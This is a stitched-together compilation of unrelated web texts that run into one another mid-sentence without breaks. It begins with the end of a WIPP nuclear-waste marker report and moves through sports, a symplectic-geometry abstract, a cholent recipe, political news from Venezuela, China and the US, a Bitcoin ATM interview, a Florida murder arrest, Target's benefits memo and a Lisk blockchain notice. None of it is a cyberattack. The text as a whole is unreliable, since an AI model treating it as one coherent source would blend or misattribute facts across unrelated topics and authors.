This panel member therefore recommends that the markers and the structures associated with them be conceived along truly gargantuan lines. To put their size into perspective, a simple berm, say 35-m wide and 15-m high, surrounding the proposed land-withdrawal boundary, would involve excavation, transport, and placement of around 12 million cubic meters of earth. What is proposed, of course, is on a much greater scale than that. By contrast, in the construction of the Panama Canal, 72.6 million cubic meters were excavated, and the Great Pyramid occupies 2.4 million cubic meters. In short, to ensure the probability of success, the WIPP marker undertaking will have to be one of the greatest public works ventures in history.
5.3 Personal thoughts (WS)
Working on this panel, always fascinating and usually enlightening too, has led to the following personal thoughts:
(a) We have all become very marker-prone, but shouldn't we nevertheless admit that, in the end, despite all we try to do, the most effective "marker" for any intruders will be a relatively limited amount of sickness and death caused by the radioactive waste? In other words, it is largely a self-correcting process if anyone intrudes without appropriate precautions, and it seems unlikely that intrusion on such buried waste would lead to large-scale disasters. An analysis of the likely number of deaths over 10,000 years due to inadvertent intrusion should be conducted. This cost should be weighted against that of the marker system.
(b) The design and testing of markers and messages must involve a broad spectrum of societies and people within those societies. So-called "experts" can of course make important contributions, but they must listen carefully to all other people who represent those who might encounter the markers. In the course of working on this project, I received excellent ideas from a wide range of undergraduates, colleagues, friends, and relatives.
(c) The very exercise of designing, building, and viewing the markers creates a powerful testimony addressed to today's society about the full environmental, social, and economic costs of using nuclear materials. We can never know if we indeed have successfully communicated with our descendants 400 generations removed, but we can, in any case, perhaps convey an important message to ourselves.
5.6 "Beauty is conserved, ugliness discarded" (DGA)
To design a marker system that, left alone, will survive for 10,000 years is not a difficult engineering task.
It is quite another matter to design a marker system that will for the next 400 generations resist attempts by individuals, organized groups, and societies to destroy or remove the markers. While this report discusses some strategies to discourage vandalism and recycling of materials, we cannot anticipate what people, groups, societies may do with the markers many millenia from now.
A marker system should be chosen that instills awe, pride, and admiration, as it is these feelings that motivate people to maintain ancient markers, monuments, and buildings.
Waste Isolation Pilot Plant Information Server - The official WIPP home page.
RE/SPEC Inc. - A WIPP contractor specializing in "environmental investigations and compliance" among other things.
Safeguards System Group Publications - A big old list of citations documenting LANL research into all aspects of nuclear safety.
DNFSB Trip Reports - Interesting collection of reviews by the Defense Nuclear Facilities Safety Board: WIPP, Fernald, Hanford, Rocky Flats and many more. Seems everything's A-OK!
DNFSB recommendations - DNFSB tells DOE what's to be done.Story highlights Serena Williams to defend her French Open in Paris
The year's second grand slam begins Sunday
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The world No. 1 triumphed in Paris last year as part of a run which has seen her win four of the last six grand slams, and despite suffering a shock defeat to Angelique Kerber at the Australian Open she is the strong favorite as the tennis world heads to Roland Garros.
"You do want to play the No. 1 -- you do want to beat them," the 21-time grand slam champion told CNN's Open Court. "I know I did -- but I am ready for that. I am ready for anyone every time."
Read MoreHamiltonian and symplectic symmetries: An introduction
Author: Álvaro Pelayo
Journal: Bull. Amer. Math. Soc. 54 (2017), 383-436
MSC (2010): Primary 53D20, 53D35, 57R17, 37J35, 57M60, 58D27, 57S25
DOI: https://doi.org/10.1090/bull/1572
Published electronically: March 6, 2017
Full-text PDF
Abstract | References | Similar Articles | Additional Information
Abstract: Classical mechanical systems are modeled by a symplectic manifold, and their symmetries are encoded in the action of a Lie group on by diffeomorphisms which preserve. These actions, which are called symplectic, have been studied in the past forty years, following the works of Atiyah, Delzant, Duistermaat, Guillemin, Heckman, Kostant, Souriau, and Sternberg in the 1970s and 1980s on symplectic actions of compact Abelian Lie groups that are, in addition, of Hamiltonian type, i.e., they also satisfy Hamilton's equations. Since then a number of connections with combinatorics, finite-dimensional integrable Hamiltonian systems, more general symplectic actions, and topology have flourished. In this paper we review classical and recent results on Hamiltonian and non-Hamiltonian symplectic group actions roughly starting from the results of these authors. This paper also serves as a quick introduction to the basics of symplectic geometry.
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Additional Information
Álvaro Pelayo
Affiliation: Department of Mathematics, University of California, San Diego, 9500 Gilman Drive $#$0112, La Jolla, California 92093-0112
Email: [email protected]
DOI: https://doi.org/10.1090/bull/1572
Received by editor(s): October 14, 2016
Published electronically: March 6, 2017
Additional Notes: The author is supported by NSF CAREER Grant DMS-1518420.
Dedicated: In memory of Professor J.J. Duistermaat (1942–2010)
Article copyright: © Copyright 2017 American Mathematical SocietyPin Yum Email +1 4K Shares
Schalet is the food of heaven,
Which the Lord Himself taught Moses
How to cook, when on that visit
To the summit of Mount Sinai…
Schalet is the pure ambrosia
That the food of heaven composes—
Is the bread of Paradise;
And compared with food so glorious…
From the poem Princess Sabbath by Heinrich Heine,
translated by Edgar Alfred Bowring
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Since Biblical times the Jewish people have scattered and settled all over the globe, adapting their foods to suit the regions where they’ve settled. Over the centuries countless regional ethnic dishes have been made kosher to fit the Jewish religious standards for pure eating. This means that “Jewish food” is really world cuisine; there are very few dishes that are uniquely Jewish. Bagels? A Polish baked bread originally created for Lent and later embraced by the Jews. Gefilte fish? A German dish adopted by Yiddish cooks. But cholent– well, cholent is one of the few foods that is totally and completely Jewish.
In Joan Nathan’s fabulous book Jewish Cooking in America, she writes about this distinction:
“Throughout their wandering history, Jews have adapted their life-styles to the local culture. Food is no exception. Following the same dietary laws, Jews, relying on local ingredients, developed regional flavors. Because they have lived in so many places, there is no ‘Jewish food’ other than matzah; haroset (the Passover spread); or cholent or chamim (the Sabbath stews that surface in different forms in every land where Jews have lived).”
Cholent is uniquely Jewish. It was created because Jewish law does not permit cooking on Shabbat. To adhere to this prohibition, Jewish cooks began to create meat and bean stews in heavy pots that would slowly simmer inside a low-heat oven overnight. They would prepare the stew on Friday before sundown, cook it partially, and place it into the oven to continue cooking throughout the night. That way, there would be no need to kindle a fire or light a stove during the hours of Shabbat; they would simple remove the stew from the oven at mealtime and it would be fully cooked and ready to serve.
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According the The New Jewish Holiday Cookbook by Gloria Kaufer Greene, the word cholent may have come into usage in medieval Europe:
“The medieval word cholent (with ‘ch’ pronounced as in ‘chair’) may have come from the French chaud-lent, meaning ‘warm slowly,’ or, less likely, from the Yiddish shul ende which describes when the cholent is eaten — at ‘synagogue end.'”
My friend, food historian Gil Marks, refutes this notion of shul ende being the root of the word, because the word cholent was used in France before Yiddish developed as a language in the mid 1200’s. In his Encyclopedia of Jewish Food, he contends that the word most likely evolved from the French chaud (hot) or from the Spanish escallento (warm), since the dish probably made its way to France from Spain. Still others believe that the word cholent is derived from the Hebrew she’lan, meaning “that rested” and referring to the pot resting in the oven overnight.
While nobody knows the exact source of the word cholent, it is without a doubt one of the most beloved dishes in Jewish cuisine.
A Cholent By Any Other Name
Shabbat stews are cooked all over the world in different ways and under many different names. Here are a few of the many varieties of cholent:
Schalet – The Yiddish word for cholent, referred to in the German poem at the beginning of this blog. Schalet refers to an Eastern European-style cholent with meat, beans, barley, and sometimes kishke. Spicing is minimal; often only salt and pepper are used.
Hamin/Hamim/Chamim/Chamin – From the Hebrew word “hot.” The Sephardic version of cholent is known as hamin. Popular throughout Israel, hamin is often made with chicken rather than meat and usually contains eggs. It is also spiced more exotically than Eastern European cholent.
Dafina & Skhina – In Spain, the Maghreb, and Morocco, cholent is referred to as dafina or skhina. It is generally cooked with chickpeas, meat, potatoes and eggs along with spices native to the Maghreb.
Osh Savo – A sweet and sour Shabbat rice stew served by Bukharan Jews.
Tabeet & Pacha – Iraqi Jews have two popular Shabbat dishes. Tabeet is made with a whole chicken stuffed with rice, herbs, and seasonings. Pacha is tripe stuffed with lamb, seasonings, and rose petals. Both are slowly cooked overnight for Shabbat, which makes them regional ethnic variations on the cholent theme.
Batia Restaurant in Tel Aviv
On a trip to Israel in the summer of 2010, our friend Hagai brought me to a restaurant called Batia in Tel Aviv. It’s a traditional Ashkenazi restaurant, well known for their cholent. While there I met the manager, Miri. She gave me a tour of their kitchen and I got to snap a shot of their massive cholent pot, which is the size of about twelve normal cholent pots. Check it out:
Miri told me that even with all of this cholent, they never fail to run out towards the end of the day. It is absolutely delicious. Their cholent is made in the Israeli style with eggs, similar to mine but with less spices. They also add a kishke to their cholent and sliced meat if you ask for it.
Cholent: A Family Affair
Tamar Genger from the website Joy of Kosher talked about the warm memories and feelings that a pot of cholent can conjure. “People have an emotional response to the word ‘cholent’ — it may be a memory of a meal at a grandparents house, kiddush after shul or that unmistakable smell that warms the entire home on a cold winter morning.” I totally relate to this emotional response, even though I didn’t grow up eating cholent. For the past decade, cholent has made a regular appearance on our Shabbat table. During the winter, it doesn’t feel like Shabbat unless a pot of cholent is slowly cooking in the oven, filling the house with its tantalizing, savory aroma. Cholent and challah are the official flavors of Shabbat in our home.
Cholent recipes vary greatly from region to region, and even from family to family. No two cholent recipes are exactly alike. It’s one of those dishes that evolves over generations, with spices and ingredients being added or changed to suit family tastes. Some cholent recipes have a hint of sweetness in them from the addition of honey or ketchup. Our family prefers a savory cholent, the recipe for which appears below. Ashkenazi cholent recipes sometimes include kishke, or stuffed derma, which is a particularly unique Jewish delicacy. We never include a kishke, but you could certainly buy a kishke and add it to the pot. Couldn’t hurt!
Our family’s cholent recipe is a reflection of the heritage of my fiance’s parents; his mother was Sephardic, his father Ashkenazi. The dish uses the basic ingredients of an Ashkenazi cholent– meat, beans, potatoes, and sometimes barley or kasha– with added Sephardic spices for flavor. We also add whole eggs to the pot, another Sephardic custom. The eggs slowly cook in the broth, soaking up the flavor of the cholent and turning a lovely brown color. I sometimes use chickpeas, as is the custom in Moroccan dafina. Other times, I use a combination of kidney, pinto, and lima beans, which are more often used in Ashkenazi cholent. It just depends on what we have in the pantry on Friday. I use red potatoes because they have a lower starch content, so they won’t dissolve during the long slow cooking process. When we want a lighter cholent, I leave out the barley grains and let the potatoes take starchy center stage. Cholent is flexible that way. The result of combining all of these different flavors is an irresistible savory cholent that is always a hit on Shabbat.
Over the years I’ve refined this cholent recipe. I used to overnight soak the beans, pre-boil the ingredients and often cooked it in the oven. Now I always use a slow cooker, and I only give the beans a quick soak. If I’m in a hurry I skip the soak entirely– the quick soaked beans are easier on digestion, but the slow cooking process will fully cook the raw beans. Remember, this dish cooks overnight, which requires some forethought. The traditional way is to start the cooking on Friday before sundown so that the pot cooking before Shabbat begins. Enjoy!
Note – I have updated this recipe from a 2010 post with several refinements and new photos from my talented from Louise Mellor. If you’re looking for the old recipe, scroll down in comments, I have posted it there.
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Food Photography Beauty Shots & Styling by Louise MellorSpeaking in the capital's Ibarra Square after a march Saturday by supporters of his Socialist Party, Maduro said his opponents were "orchestrating foreign military intervention in Venezuela."
The president added that undefined exercises by the army and militia groups would "prepare for any scenario.”
Upping the rhethoric
"We're going to tell imperialism and the international right that the people are present, with their farm instruments in one hand and a gun in the other... to defend this sacred land," Maduro told the rally.
“The oligarchy's plan is to disturb the peace so they can justify foreign intervention in Venezuela,” Maduro said. “I'm not an extremist for saying this, but they're extremists for wanting to carry this out,” he went on.
Venezuelan police block the road during an anti-government demonstration
Opposition growing
Opponents of Maduro won control of parliament in December from the ruling Socialists for the first time in 16 years.
Opposition leaders accused Maduro of using the emergency decree to destabilize the country and block them from organizing a referendum on removing him from office. It has launched the process by collecting 1.8 million signatures in favor of a recall vote.
Supporters of opposition groups demonstrated simultaneously on Saturday.
"If this state of emergency is issued without consulting the National Assembly, we would technically be talking about a self-coup," Democratic Unity coalition leader Jesus Torrealba told supporters.
Foreign interference
Maduro's comments come as US newspaper the Washington Post cited senior US intelligence officials saying Maduro's government could be overthrown in a popular uprising this year: "You can hear the ice cracking, a crisis is coming," the official was quoted as saying.
Maduro said Friday that a plot against his government was being "activated in Washington" and was being driven by the "fasc
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that have more than 250 million users.
The microblogging services — known as weibo in Chinese — Sina and Tencent had their comment functions disabled to "clean up" rumors that included talk of "military vehicles entering Beijing and something wrong going on in Beijing," the state Internet Information Office told Xinhua.
Twitter, like Facebook and YouTube, is banned because the Chinese government wanted more control over the services.
The Chinese websites went wild with rumors after the unexplained dismissal March 15 of Bo Xilai, the party chief of Chongqing city, who was rising high within the party ranks but has not been seen in public since then.
The ambitious son of a revolutionary Maoist leader, Bo had hopes, now dashed, of an appointment this year to China's top decision-making body, the nine-member Politburo Standing Committee.
His fall came soon after a scandal made unusually public by Chinese Internet users: the attempted flight of Bo's onetime police chief. Wang Lijun spent a night in a U.S. Consulate in Chengdu in March but was refused asylum and handed over to China's feared state security. Wang, who built a reputation for busting organized crime, also disappeared. The Chinese government said he left his job to relieve "stress."
The government's actions this weekend indicate its difficulty operating with its traditional secrecy because of the explosion of Internet and cellphone use in China.
Internet users top half a billion, and mobile phone accounts now exceed 1 billion, according to government data.
For the tomb-sweeping festival this week, some Chinese will even place paper replicas of Apple's iPad and iPhone at the graves of dead relatives for use in the afterlife.
Chinese authorities shut 16 websites for spreading rumors of troop movements and gunshots around the Communist leadership's Zhongnanhai compound in central Beijing last month. Words such as "coup" were quickly blocked by China's Internet censors, who filter out sensitive subjects.
The Internet crackdown sparked criticism and even cartoons over the weekend, as the Internet, while heavily policed, remains China's freest public space. Although comment sections were shut down, people are still able to make original postings and forward others' postings. Some of the postings called boldly for more openness from the government.
"What is the best way to stop 'rumors?' " Zhang Xin, one of China's most prominent real estate developers, asked the 3 million-plus followers of her Sina weibo account. "It is transparency and openness. The more you don't allow speech, the more rumors there will be."
This Internet age "is an era where the leaders perform, and the people are the audience," posted Guo Weiqing, a professor of public policy at Sun Yat-sen University in southern China's Guangzhou city.
"You messed up the play on stage; how can you still order the theater manager to muffle the audiences' mouths? It's too ridiculous," Guo said.
The clampdown on Sina and Tencent is "not an extreme act of censorship but reminds everybody of who is in charge; it sends a signal to the Internet companies and users that the government is watching you," said Jeremy Goldkorn, director of Danwei.com, a website focused on Chinese media and Internet.
China's Internet today "is the freest platform of public expression ever, but there is also a constant effort by the government to rein it in. Since 2008, there has been a consistent policy of control, and nothing is going to change in the next couple of years," he said.
Some users appeared little aware of controls dubbed "the Great Firewall" and said they understood why the government blocks comments critical of its actions.
Others took a more critical line. "This incident today reminds us again how important, how urgent and how remote is the use of law to rule China," Wang Ran, chief executive of an investment bank, wrote on his popular microblog. "If we don't move towards the rule of law, we not only can't avoid danger, but also absurdity."The Border Patrol chief has been removed from office, a day after President Trump signed an executive order to build a wall at the U.S.-Mexico border and hire 5,000 more agents, sources confirmed to Fox News Thursday.
The Associated Press first reported Thursday that Mark Morgan told senior Border Patrol agents that he was asked to leave, and said he had chosen to resign rather than fight the removal request.
Morgan was named to the post in June and took office in October. His hiring had caused concern among the rank-and-file as he was not a former agent himself.
Sources told Fox News that the latest move was to show that Customs and Border Protection is going in a new, and more aggressive, direction.
Morgan’s last day will be Jan. 31 and sources said a new chief has already been identified. Sources say he is more in line with the Trump administration on border issues.
In a statement, Kevin McAleenan, the Customs and Border Protection's acting commissioner, praised Morgan for "his unwavering dedication to our border security mission" and "lifelong career in service to the nation."
The White House released a statement saying that the post is a political appointment and therefore "all officers understand the President may choose to replace them at any time."
"No officer accepts a political appointment with the expectation that it is unlimited," the statement said.
Morgan had clashed frequently with the Border Patrol union, which backed Trump and criticized Morgan frequently. The union was infuriated when Morgan told a Senate hearing in December that he supported a comprehensive immigration overhaul – assumed to include a path to citizenship for illegal immigrants.
Morgan later clarified his statement sying he did not support “blanket amnesty” and encouraged union members to listen to his testimony.
Agency officials told The Associated Press that Morgan appeared to embrace the job. Less than a week ago, the first message on his new Twitter account read, "Chief Morgan here -- excited to use this account to share the latest news and events of the #BorderPatrol with followers."
Fox News’ Adam Housley and The Associated Press contributed to this report.Feminist News
All | National News | Global News
May-21-10
Nebraska Supreme Court Rules Young Woman Exempt from Parental Notification Abortion Requirement
The Nebraska state Supreme Court ruled today that a 17-year-old woman, who was initially denied an abortion due to her age, can obtain an abortion without notifying her mother. The unnamed young woman does not know the identity of her father. The Court overturned a lower court's decision, which ruled the woman had to inform her mother of an abortion 48 hours prior to the procedure.
According to the Omaha World-Herald, the ruling stated that "It is not for this court to determine the correctness of petitioner's decision" to obtain an abortion and concluded that the "Petitioner has demonstrated that the parental ties of care and support between petitioner and her mother have been broken and petitioner is living an independent life." The woman lives with her boyfriend and their two-month-old child, has graduated from high school and is enrolled in college, owns a car, works two jobs, and pays all bills for herself and her son. She is less than two months away from turning 18.
Nebraska has recently enacted two new anti-choice laws. Nebraska is now the first state to restrict access to abortion by requiring a doctor to screen women for any mental or physical problems before they perform the procedure. Another new law outlaws abortion after 20 weeks. Prior to the passage of the new law, Nebraska law restricted abortion after the age of viability, which occurs on a case-by-case basis, but is generally accepted to be between 22 and 24 weeks.
Media Resources: Omaha World-Herald 5/21/10; Feminist Daily Newswire 4/13/10The Orlando Magic have had a theme of inconsistency on the court and in the front office this season. That theme only continued after suffering another loss last night, this time to the New York Knicks by a score of 101-90 inside the Amway Center. This leaves Orlando at 3-7 in their last 10 games and 22-39 overall for the season. That is second-worst in the Eastern Conference. The fourth-worst record in the NBA, which the Magic also currently hold, indicates a possible return to the top five of the NBA Draft Lottery with 21 games to go. Will the Magic be able to avoid the same fate in the lottery they entailed between 2013-15?
My feeling about this first half… pic.twitter.com/CY8le0ZTZM — Orlando Magic Daily (@OMagicDaily) March 2, 2017
The Court
The Orlando Magic are currently simply unable to produce enough “magic” on both sides of the court to win games and return to the playoff picture. The team is the second-worst in points per game this season at 99.5, just ahead of the Dallas Mavericks. Therefore, the Magic cannot win games when their opponents are averaging almost 106 points per game. The absence of a superstar (or even an all-star) is crippling them from even making the final two or three seeds in an Eastern Conference that has not been very good in recent years. Dwight Howard was the last guy to feature in an All-Star Game for them in 2011-12.
The Magic shot 41 percent against the Knicks, which is below their 44 percent season average. Shooting below their already low averages such as their 32.8 percent from three is a difference maker. If the Magic mix an all-around all-star with a borderline all-star and role player such as Nikola Vucevic (do not forget production from the bench and decent play from the other starters), they have a better chance of being over.500 and targeting a playoff run.
Points Per Game: Evan Fournier (16.7)
Rebounds Per Game: Nikola Vucevic (10.1)
Assists Per Game: Elfrid Payton (5.6)
Steals Per Game: Jodie Meeks (1.2)
Blocks Per Game: Bismack Biyombo (1.3)
Chemistry
First-season head coach Frank Vogel began the season with a starting lineup of Elfrid Payton, Evan Fournier, Aaron Gordon, Serge Ibaka, and Nikola Vucevic. However, mediocre play (especially on offense) led to the team starting off with a losing record and Vogel switching his lineups and rotation. Jeff Green, D.J. Augustin, and Bismack Biyombo all began to fill in, but then the defense became the problem. Both of Vogel’s roster decisions were working initially, but the team is in need of more than just temporary solutions.
The post-Dwight Howard era began as a rebuilding process filled with hope and progress, but now seems to decline as every season passes. Although the players continue to underachieve, the actions of the front office also determine the future of what this team will become. This begins with bringing in great players with defined roles.
The Front Office
Orlando’s executives have lost Victor Oladipo, Tobias Harris, Maurice Harkless, Kyle O’Quinn, Serge Ibaka, and more. Besides Ibaka, all the other players essentially made the Magic a team with potential, but patience grew thin over the last two seasons. The Magic got close to nothing in return for all of these players. The roster is now full of sub-par veterans with the mentality of winning now, but not enough quality. Terrence Ross, who came after Ibaka was traded to the Toronto Raptors, spoke about the state of the team last night after the loss to the Knicks.
Former fifth overall pick Mario Hezonja is on the bench instead of getting quality minutes. Additionally, the team appears to be building around Aaron Gordon, but they did not move anyone during the trade deadline. Rushing the development of players, throwing away potential talent, and bad in-game decisions are combining to halt the Magic rebuild.
For the Magic to accomplish their goal of becoming a playoff team again they must trust the process of development and change their roster to have young talent again, with the hope of them reaching their potential. A short-term plan could be ideal, but unless they get lucky they are not producing enough to be good soon. Team chemistry after reintroducing quality along with good management and coaching decisions will be the changing point for this team. When and how is the biggest question left for the franchise.Interview by David Berger, CEO of the Digital Currency Council, with Sam M. Ditzion, CEO of Tremont Capital Group – the nation’s leading provider of strategic planning and consulting, compliance, and mergers and acquisitions advisory services to the ATM and related industries.
David: Sam, you’re the world’s leading expert on ATM machines. Could you tell us more about what you do?
Sam: Thanks for inviting me to do this interview. I am an expert in the overall payments space but have a particular expertise in the ATM industry and cash payments. I primarily focus on providing clients with business strategy, compliance, and mergers and acquisitions advisory services. I am also an expert in the concept of Bitcoin ATMs and recently authored an Introduction to Bitcoin ATMs guide for the ATM Industry Association. — Available online at: www.TremontCapitalGroup.com
David: Recently, ATM machines that dispense Bitcoin in exchange for legal tender have been deployed across the US and in various countries across the globe. Who is behind this effort? What is their aim?
Sam: A wide range of companies have begun manufacturing so-called “Bitcoin ATMs,” which convert physical currency into digital currency. This concept emerged after many bitcoin enthusiasts concluded that the easiest way to exchange cash for bitcoin locally and instantly is to complete a transaction using an ATM-like device. Some of the machines that have been developed are also capable of the reverse: converting digital currency into physical currency. The devices are typically sold to individual operators who own and operate the machines in high-foot traffic retail locations in an effort to make money from conversion rate spreads.
David: How do Bitcoin ATMs work? They’re obviously connected to the internet, but are they affiliated with specific Merchant Service Providers?
Sam: While some of the machines are more complex, the simplest devices are essentially tablet computers with a cash accepter and a barcode scanner. Someone looking to convert his or her cash to Bitcoin simply scans his or her digital or paper wallet, inserts cash into the machine, and Bitcoin is added to his or her wallet in the amount according to the exchange rate listed on the device, which is typically set by the operator.
David: The first US state to receive a Bitcoin ATM was New Mexico. Why New Mexico? What is it about the environment there that made it conducive for the first Bitcoin ATM in the US?
Sam: The world’s first Bitcoin ATM was deployed in Vancouver, Canada in October 2013. In the United States, the first Bitcoin ATMs were installed in New Mexico and Massachusetts in February 2014. Many other devices followed quickly in other states. The State of New Mexico did not have licensing requirements for Money Transmitter Businesses, making New Mexico an easier place to test this business model at that time. Regulations regarding these devices, and digital currency more broadly, was initially quite murky.
David: So are providers of Bitcoin ATMs considered to be Money Services Businesses (MSBs)? What licenses do such providers need?
Sam: In the United States, the U.S. Department of the Treasury’s guidance last year provided that Bitcoin exchangers are subject to the Bank Secrecy Act and are therefore required to register with the FinCEN/Department of the Treasury as Money Service Businesses (MSBs) and are subject to the same reporting requirements as other financial institutions. In addition, deployers of Bitcoin ATMs are subject to all applicable state registration/licensing requirements and regulations.
David: The industry is clearly in nascent stages today and seems rather fragmented. Do you see consolidation in the future? Perhaps a large player buying up some of the smaller companies in the business?
Sam: Absolutely. If regulatory uncertainly is addressed in a way that results in a profitable business model for Bitcoin ATMs, I would expect rapid growth in ATM deployment quickly followed by consolidation through mergers and acquisitions.
David: ATMs make Bitcoin more visible to the community, potentially increasing adoption by regular consumers. Have any consumer protection organizations issued any statements about Bitcoin ATMs? Do you expect something like this to occur?
Sam: Bitcoin ATMs, at least so far, often serve newcomer consumers and enthusiasts who do not have extensive experience. These are often the demographics that regulators and consumer groups aim to protect from any form of speculative investments or opportunities. While there has been somewhat limited attention on this topic to date, I would fully expect far more scrutiny by both regulators and consumer groups should Bitcoin ATMs become mainstream in the future.
David: Could you share your predictions for Bitcoin ATM adoption over the next 3-5 years? Will we see continued growth? Which industries will this impact?
Sam: I definitely anticipate significant developments in the use of Bitcoin as well as the Bitcoin ATM industry during the next 3-5 years. To the extent that digital currency as a concept succeeds, ATM-like devices are an incredibly convenient and simple way for mainstream consumers to exchange cash for digital currency. The business and profitability models for ATMs both need to be refined and proven further. If there is more visibility in regards to the regulatory environment worldwide, and a business case exists for ATMs, I suspect we would see a wide range of new players quickly emerge followed by rapid consolidation.
David: Sam, thank you very much for your time, insight and support of the Digital Currency Council.
Sam: My pleasure.Authorities have arrested a Florida man suspected in the killing of his wife, a pastor and a neighbor, a sheriff’s official said Saturday.
Andres “Andy” Avalos, 33, was taken into custody without incident at a mobile home park in the Bradenton area of Florida’s Gulf Coast, the Manatee County Sheriff’s Office said. Sheriff’s spokesman Dave Bristow told The Associated Press in the email confirming the arrest that Avalos has been charged with murder and was being held without bond.
Authorities said Avalos is a suspect in a spree that began Thursday with the killings of his 33-year-old wife Amber Avalos, who was a Sunday school aide, and neighbor Denise Potter, 45, at the Avaloses’ home in Bradenton. Sheriff’s officials said the suspect then went to Bayshore Baptist Church, where Amber Avalos worked, and fatally shot pastor James “Tripp” Battle, 31.
The Bradenton Herald initially reported the arrest Saturday and said it occurred about two blocks from the church. Bristow did not immediately disclose any further information.
Church members had said the pastor’s wife was at the church at the time of the shooting, and she told police about the other two victims. It wasn’t clear how she knew Amber Avalos and Denise Potter had been slain at the Avaloses’ home in Bradenton about 10 miles from the church.
Sheriff’s deputies said Avalos’s vehicle was found abandoned Friday in a store parking lot near Bradenton, 45 miles south of Tampa on Florida’s Gulf Coast.
Avalos has a criminal record, including DUI arrests, traffic offenses and a fight during which he was shot in the arm. Criminal records also show that he was arrested on a weapon possession charge but was not prosecuted.
The Avaloses have six children, ages 3 to 14. They were at school when officers found out about the shootings and the schools were put on lockdown for a time for fear that Avalos would attempt to pick them up. Deputies said the children were since put in the custody of a relative.
Bristow had no further information Saturday. He had said earlier in the week that investigators didn’t know “exactly what transpired.”White House: No negotiations on debt ceiling
President Obama (Photo: Nick Ut, AP)
The White House says President Obama has not changed his position: He will not negotiate raising the debt ceiling next year.
White House spokesman Jay Carney said Monday he hopes Republicans will not make demands "when it comes to the full faith and credit of the United States."
That could lead to a government default, and all the damage it could do "to our economy and to the middle class, to job creation and to the Republican Party," Carney said.
Rep. Paul Ryan, R-Wisc., said on Fox News Sunday that Republican lawmakers will soon decide whether to seek additional budget cuts or other concessions in exchange for an increase in the debt limit in the next several months.
"We're going to decide what it is we can accomplish out of this debt limit fight," Ryan said.
The October agreement to end the government shutdown suspended the debt limit until Feb. 7. At that point, the Treasury Department can invoke special measures that would allow the government to continue borrowing for another month or so.
Carney praised Ryan and others for their work on a pending budget deal, and said he hopes similar cooperation will emerge over increasing the debt ceiling -- without any negotiations.
"The president's position has not changed," Carney said.
Read or Share this story: http://usat.ly/1bKTsr9At Target, we have a longstanding commitment to our team members’ health and well-being. We have been researching and evaluating how the transforming health care landscape will impact our team members and our company. Along the way, we have been firmly committed to making the best decisions for our team members and Target.
The launch of Health Insurance Marketplaces provides new options for health care coverage that we believe our part-time team members may prefer. In fact, by offering them insurance, we could actually disqualify many of them from being eligible for newly available subsidies that could reduce their overall health insurance expense.
In addition, the majority of our part-time team members who have been eligible for our health insurance coverage don’t enroll. Today, less than 10 percent of our total team member population participates in our part-time plan.
As a result, and after much thoughtful consideration, we have decided to discontinue part-time health insurance coverage for our stores’ part-time team members, beginning April 1, 2014.
We sat down with Jodee Kozlak, executive vice president of Human Resources at Target, to talk about the part-time team member health benefit changes and what we are doing to support our team members.
Can you explain why Target made changes to its stores’ part-time health insurance benefits? Health care reform is transforming the benefits landscape and affecting how all employers, including Target, administer health benefits coverage. Our decision to discontinue this benefit comes after careful consideration of the impact to our stores’ part-time team members and to Target, the new options available for our part-time team, and the historically low number of team members who elected to enroll in the part-time plan.
We recognize this change may be better for some and also may cause disruption for those who previously elected to enroll in this benefit. That’s why we have developed an approach to ease the transition for those impacted most. As a company, Target continuously reviews our programs and offerings and makes updates based on what makes sense for our team members, our guests and our business. And we focus on doing this in the most thoughtful way.
How is Target helping team members’ transition? It was important to us that we enable a smooth transition for those team members most impacted. We came up with a plan that tries to minimize any disruption and reduce confusion about how to work through the Health Insurance Marketplaces. Therefore, Target has dedicated substantial resources to guide our team through every step of the process. First, to help offset the inconvenience of this transition, Target will provide U.S. stores’ part-time team members who are currently enrolled in Target’s health coverage and who are losing access to that coverage a $500 cash payment. Second, we have partnered with a highly respected company that has extensive benefits expertise and asked them to develop a personalized approach to provide one-on-one support to every affected team member. This includes sharing information that is customized to each team member about what insurance is available to them, the differences between plans and their impact, any off-sets available to the team member, and ultimately walking them through every step of the sign-up process.
How did you notify these affected stores part-time team members? Our store leaders are personally talking to our teams this month, sharing information about the change as well as detail on how to access the dedicated support and resources. In addition, we are sending personalized information to our team members’ homes.
Will part-time team members still be eligible for other benefits? Yes. Store team members who average between 20 and 31 hours per week will continue to be eligible for benefits including vacation, dental, disability and life insurance. Team members will also continue to qualify for our team member discount, and the Target 401(k) Plan, which Target matches dollar for dollar up to 5 percent. Team members who average 32 hours or more a week will also continue to be eligible for comprehensive health insurance through Target.
All team members will also continue to have access to a number of health and well-being resources, such as those available through Target’s well-being program, which empowers team members to become their personal best by focusing on the five elements that make life fulfilling: health, social, career, financial, and community. A network of more than 3,000 well-being captains are dedicated to helping team members achieve their well-being goals in these areas by providing them with tools, resources, and ongoing education and inspiration.
Will Target be limiting hours to team members as a result of the change in benefits? No. At any time, our team members can talk to their manager about their interest and availability to work more hours. In fact, during the holiday season we offered our year-round part time and full time team members the opportunity to take on additional hours or cross-train to work in other areas — at their request.Tokyo cops crack down on ‘walking dates’ in Akihabara
TOKYO (TR) – Tokyo Metropolitan Police on Monday initiated a patrol through the Akihabara district in response to concerns about sex crimes involving minors, reports the Sankei Shimbun (Dec. 16).
On Monday night, a team of 100 officers swept through the electronics shopping district, located in Chiyoda Ward, and took 10 girls under the age of 18 into protective custody on suspicion of soliciting prostitution. The initiative is the first of its kind in Japan.
In January, metropolitan police implemented a large crackdown on maid cafes and so-called joshi kosei (high-school girl) “reflexology” massage parlors. At such an establishment, many of which are in the Akihabara area, male customers are able to converse with the female attendants in private rooms. For additional charges, the patrons may receive massages and kisses.
Of particular interest to the police is the option a customer has to take a staff member off the premises on a “walking date,” referred to as osanpo, at a rate of approximately 5,000 yen for 30 minutes. In many cases, the jaunt will conclude with a sexual encounter inside a love hotel room.
In October, officers arrested Akira Shibetani, a resident of Kawaguchi City, Saitama Prefecture, on obscenity charges for paying 18,000 yen for the undergarments of the third-year high-school student during an osanpo excursion in Akihabara on April 22.Lisk, the ‘Ethereum Alternative’ blockchain application platform, has launched a series of campaigns to democratize, decentralize and incentivize the development of their network.
First, Lisk has made a public call for the nomination of new ‘delegates’, elected representatives who perform essential tasks for the blockchain and who receive forging rewards in exchange for their services. Lisk operates on a Delegated Proof of Stake consensus model, where LSK ‘stakeholders’ vote for delegate candidates.
Furthermore, Lisk announced a proposal contest to the general public. All LSK holders will be able to submit proposals of any kind to the network from now until December 5, 2016. Proposals will be judged by the Lisk Core Development team under a rubric that considers the viability, creativity, thoroughness and clarity of the proposals.
